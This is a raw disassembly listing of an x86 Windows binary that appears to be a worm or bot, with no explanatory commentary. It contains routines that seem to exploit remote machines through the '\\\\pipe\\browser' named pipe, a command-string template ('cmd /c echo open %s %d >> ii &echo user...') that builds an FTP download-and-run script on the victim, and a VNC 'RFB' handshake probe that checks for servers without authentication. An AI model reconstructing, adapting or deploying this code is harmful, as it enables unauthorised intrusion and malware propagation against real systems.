		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al


loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db  78h	; x
		db 0E1h	; á
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0F0h	; ð
		db 0D4h	; Ô
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0A8h	; ¨
		db 0F7h	; ÷
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  74h	; t
		db  22h	; "
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0A6h	; ¦
		db 0DFh	; ß
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db 0A7h	; §
		db 0DBh	; Û
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db  58h	; X
		db 0D1h	; Ñ
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  44h	; D
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 26F0922h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57


loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------


loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_43224C
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432238
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jnz	short loc_40DB34


loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 265098Ch
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4321E0[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CDCCC
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------


loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_43222F+1)


loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_4321D4[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4321DC[esi]
		push	7
		add	eax, edi
		push	offset dword_4321C8
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432068
		push	eax
		call	sub_41C310
		mov	eax, dword_4321D8[esi]
		add	esp, 30h
		cmp	byte_4321E0[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4CDCC4
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4321F8
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------


loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4321F8


loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8


loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		nop
		call	near ptr 265098Ch
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77


loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax


loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 26E091Bh
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_40DE4F
		nop
		call	near ptr 2670E77h
		cmp	eax, 3E5h
		jnz	loc_40DA50


loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 268064Dh
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1


loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------


loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]


loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0D6h	; Ö
		db 0D6h	; Ö
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; è
		db  2Bh	; +
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db  90h	; 
		db 0E8h	; è
		db  6Ah	; j
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db  90h	; 
		db 0E8h	; è
		db  37h	; 7
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db    8
		db  91h	; ‘
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db 0E0h	; à
		db 0ACh	; ¬
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0DFh	; ß
		db 0CCh	; Ì
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  80h	; €
		db  22h	; "
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  38h	; 8
		db 0DAh	; Ú
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db  87h	; ‡
		db 0D0h	; Ð
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  8Bh	; ‹
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0E7h	; ç
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 90000007h, 262566E8h, 0FB834302h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CACE0
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4


loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------


loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax


loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_43143Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CAFE4
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CAFA4
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_4322F4
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146


loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		call	near ptr 71AB1A6Dh
		nop


loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------


loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431440[eax]
		lea	eax, dword_431440[eax]


loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax


loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFBC
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------


loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------


loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax


loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC


loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5


loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax


loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433538
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CB024
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------


loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFE4
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CAFA4
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx


loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4CB03C
		jmp	loc_40E46E
; ---------------------------------------------------------------------------


loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467


loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4CAE5C
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch


loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
